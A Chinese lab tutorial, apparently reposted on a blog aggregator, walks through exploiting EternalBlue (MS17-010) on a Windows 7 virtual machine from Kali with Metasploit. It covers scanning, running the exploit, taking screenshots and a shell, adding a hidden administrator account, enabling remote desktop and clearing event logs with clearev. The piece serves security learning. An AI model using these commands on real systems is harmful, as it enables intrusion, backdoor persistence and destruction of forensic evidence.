复现永恒之蓝[MS17_010]

这篇具有很好参考价值的文章主要介绍了复现永恒之蓝[MS17_010]。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

准备靶机

测试ping连通性

攻击漏洞

利用漏洞


准备靶机

1台kali,1台win7

win7系统可以在MSDN镜像网站里获取

复现永恒之蓝[MS17_010]

注:将win7安装好,win7无法安装vmtools,若升级系统,可能会把永恒之蓝补丁打上,所以建议别升级系统

 复现永恒之蓝[MS17_010]

 复现永恒之蓝[MS17_010]


测试ping连通性

win7的IP地址为192.168.164.129

复现永恒之蓝[MS17_010]

 kali的IP地址为192.168.164.130

复现永恒之蓝[MS17_010]

将这两台机器互ping发现可以ping通

复现永恒之蓝[MS17_010]

 复现永恒之蓝[MS17_010]


攻击漏洞

在kali系统里打开msf,每次打开msf的界面都不一样

msfconsole

复现永恒之蓝[MS17_010]

 搜索ms17_010

search ms17_010

 复现永恒之蓝[MS17_010]

 其中0模块是漏洞攻击模块,对存在永恒之蓝漏洞的目标进行攻击,3模块为扫描漏洞模块,对目标是否存在永恒之蓝漏洞进行扫描

首先使用3模块扫描目标是否存在永恒之蓝漏洞

复现永恒之蓝[MS17_010]

 输入optinos可以查看获得相关信息帮助

复现永恒之蓝[MS17_010]

 设置目标主机rhosts

set RHOSTS 192.168.164.129

复现永恒之蓝[MS17_010]

 设置好后直接run即可

复现永恒之蓝[MS17_010]

 如图所示,信息提示说192.168.164.129存在ms17-010漏洞

在确定好存在漏洞后,可以返回使用0模块进行漏洞攻击

复现永恒之蓝[MS17_010]

 设置RHOSTS

复现永恒之蓝[MS17_010]

 进行攻击使用exploit

复现永恒之蓝[MS17_010]

 如果出现了meterpreter  代表攻击成功


利用漏洞

可以使用sysinfo显示远程主机信息

复现永恒之蓝[MS17_010]

 对远程主机进行截图操作

screenshot

复现永恒之蓝[MS17_010]

 复现永恒之蓝[MS17_010]

获得shell控制台:shell

输入chcp 65001即可消除乱码

复现永恒之蓝[MS17_010]

添加用户

net user test 123456 /add
net localgroup administrators test /add

 复现永恒之蓝[MS17_010]

复现永恒之蓝[MS17_010]

 启用远程桌面

run post/windows/manage/enable_rdp

复现永恒之蓝[MS17_010]

使用rdesktop进行远程登录

rdesktop 192.168.164.129

 复现永恒之蓝[MS17_010]

 输入刚刚添加的用户

复现永恒之蓝[MS17_010]

 远程登录成功复现永恒之蓝[MS17_010]

清除日志

clearev 

复现永恒之蓝[MS17_010]

 文章来源地址https://www.toymoban.com/news/detail-428577.html

到了这里,关于复现永恒之蓝[MS17_010]的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【ms17-010】永恒之蓝漏洞复现

    准备工作 攻击机:kali,ip:192.168.56.128 靶机:windows server 2003,ip:192.168.56.132 工具:nmap(扫描)、msf 漏洞利用 首先我们先在攻击机上使用nmap扫一下该网段主机的存活情况 此时已经扫描出来了,ip为: 192.168.56.132 的主机开启,并且显示了开放的端口号。 然后我们可以使用:

    2024年01月19日
    浏览(40)
  • 永恒之蓝(ms17-010)简介与复现

    永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲

    2024年02月10日
    浏览(48)
  • 永恒之蓝ms17_010漏洞复现

    攻击机:Linux kali(IP:192.168.52.132) 靶机:Windows 7(x64)(IP:192.168.52.130) 条件:靶机防火墙关闭,两台机子能够相互ping通,靶机445端口开启(永恒之蓝漏洞就是通过恶意代码扫描并攻击开放445端口的 Windows 主机)   登录 kali linux,用 nmap 探测本网段存活主机 nmap 192.168.5

    2024年02月11日
    浏览(38)
  • 《MS17-010(永恒之蓝)—漏洞复现及防范》

    作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。 - 永恒之蓝 永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服

    2024年02月06日
    浏览(86)
  • ms17-010(永恒之蓝) 漏洞复现与处理

    ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入

    2024年02月09日
    浏览(43)
  • MS17-010(永恒之蓝)漏洞分析与复现

    一、漏洞简介 1、永恒之蓝介绍: 永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广

    2024年02月02日
    浏览(39)
  • 永恒之蓝漏洞复现(ms17-010)----保姆级教程

    攻击机: kali Linux             靶机: win7 x64    提示:  复现攻击前请关闭杀毒软件   1.复现第一步按以下操作打开 445端口: 在 \\\"运行\\\" 里输入: regedit 打开注册表编辑器                                                                    

    2023年04月08日
    浏览(45)
  • 利用kali Linux复现永恒之蓝(MS17-010)漏洞

    目录 什么是永恒之蓝? 永恒之蓝漏洞原理 实验环境 操作前提 实验步骤 (1)复现成功后,执行截图命令 (2)对受害机器建立用户,并且开启受害机器的远程桌面并连接 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒

    2024年02月12日
    浏览(35)
  • MS17-010永恒之蓝漏洞复现(手把手教程,超细!)

    0x00-声明:小白一枚,写下来为了记录和学习交流,大神不喜勿喷。 0x01-思路:网段扫描—获取IP—漏洞扫描—发现存在漏洞—攻击拿shell—提权 目录 一、环境搭建                 01 所需软件:  二、开始操作  01 kali 开始网段扫描 02 漏洞利用 03 提权 04 利用管理员用

    2023年04月09日
    浏览(76)
  • 永恒之蓝漏洞 ms17_010 详解

    永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企

    2024年02月08日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包